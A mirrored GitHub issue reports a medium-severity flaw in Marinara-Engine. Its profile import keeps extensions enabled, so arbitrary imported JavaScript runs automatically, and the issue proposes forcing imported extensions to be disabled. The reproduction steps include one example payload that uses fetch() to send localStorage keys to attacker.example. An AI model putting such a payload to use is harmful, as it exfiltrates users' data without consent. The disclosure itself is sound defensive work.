mirror of
https://github.com/Pasta-Devs/Marinara-Engine.git
synced 2026-12-03 19:00:50 +07:00
[GH-ISSUE #2366] [Issue]: Profile import silently restores extensions with enabled:true and arbitrary JS, auto-executing imported code on render #1165
Labels
No labels
android
bug
bugfix
ci
client
code freeze pause
container
dependencies
docs
documentation
duplicate
enhancement
feature
feature
feature
feature-creep
fixed-in-refactor
fixed-in-staging
good first issue
help wanted
in-pr
in-pr
needs-codeowner-decision
normal-scope
old-codebase
old-codebase
pull-request
qol
question
refactor
regression
revisit later
roadmap
scope-risk
scope-risk
server
server
shared
soup
upstream
windows
No milestone
No project
No assignees
1 participant
Notifications
Due date
No due date set.
Dependencies
No dependencies set.
Reference
Pasta-Devs/Marinara-Engine#1165
Loading…
Add table
Add a link
Reference in a new issue
No description provided.
Delete branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Originally created by @Romuromylus on GitHub (Jun 5, 2026).
Original GitHub issue: https://github.com/Pasta-Devs/Marinara-Engine/issues/2366
Originally assigned to: @Romuromylus on GitHub.
Summary
Severity: Medium — injection / arbitrary code execution.
Profile import restores extensions with their
enabled: trueflag andjsbody intact, and the extension loader auto-executes every enabled extension's JS as a blob module on the next render. So importing a malicious.marinara/ profile envelope drops anenabled: trueextension whose arbitrary JS runs with full webview privileges, gated only by the single bulk profile-import confirmation (which advertises extensions as a count, not as executable code).Expected behavior
Imported extensions should land disabled (
enabled: false) so their code only runs after the user explicitly toggles them on in Settings — mirroring how connections already getapiKeyredacted on import. The import confirm dialog should surface that the file contains executable extension code.Actual behavior
The extension loader auto-runs enabled extensions (
src/app/providers/CustomThemeInjector.tsx:93-241, sink at:218-222):The
InstalledExtensiontype doc (src/engine/contracts/types/extension.ts:5-12) confirms extension JS "is executed in the page via the existing blob-URL loader in CustomThemeInjector.tsx." The Rust profile import (commands/storage/profile.rs) accepts theextensionsarray shape-only (validate_native_profile_import:835-871), runsnormalize_typed_json_fields("extensions", ...)which is a no-op forenabled/js(contracts.rs:350—extensionsuses empty field/default sets), and pushes the rows verbatim. Legacy import mapsinstalled_extensions→extensions(profile/legacy.rs:42). Soenabled: true+ arbitraryjssurvive untouched and auto-execute. The only consent is the bulk confirm dialog (ProfileImportSection.tsx:275-303), which listsextensionsas a count with no warning that the file carries executable code.By contrast, the same import path does defensively neutralize one field: connections get
apiKeyEncryptedcleared on import. Extensions get no equivalent reset ofenabled— the exact fix-pattern-already-in-repo inconsistency.Steps to reproduce
.marinara/ profile envelope whoseextensionscollection contains a row withenabled: trueandjs: "fetch('https://attacker.example/exfil',{method:'POST',body:JSON.stringify(Object.keys(localStorage))})"(or any payload).Impact area
Environment
330f69a8Logs, screenshots, or video
Static source audit. Cited: sink
src/app/providers/CustomThemeInjector.tsx:93-241(:218-222); type docsrc/engine/contracts/types/extension.ts:5-12; importcommands/storage/profile.rs:835-871,:913,contracts.rs:350,profile/legacy.rs:42; consent gapProfileImportSection.tsx:275-303.Regression notes
Found via static audit; not a regression. Main's
packages/client/src/components/layout/CustomThemeInjector.tsxis the byte-identical loader and also auto-imports enabled-extension JS, and main's profile import (packages/server/src/routes/backup.routes.ts:531-552) insertsextensionsrows verbatim (its only import special-casing is clearingapi_connections.apiKeyEncrypted). Main does not forceextensions.enabled = falseeither, so this is a pre-existing parity gap shared by both builds, not a refactor regression.Additional context
On profile import, force imported extensions to
enabled: false(never honor an importedenabled: true), so extension code only runs after the user explicitly toggles it on. Optionally, surface in the import confirm dialog that the file contains executable extensions and require separate opt-in. This mirrors the connectionapiKeyredaction already applied on the same path, and the themeisActivereset recommended in the companion theme-CSS issue.Template check
@Romuromylus commented on GitHub (Jun 5, 2026):
Companion to #2365 (theme CSS auto-activation). Connections already get their
apiKeycleared on import on this exact path, so the fix-pattern for neutralizing imported state is already in the repo — extensions just need the same treatment (forceenabled:false).@Romuromylus commented on GitHub (Jun 6, 2026):
Fixed by #2417, merged into
refactor.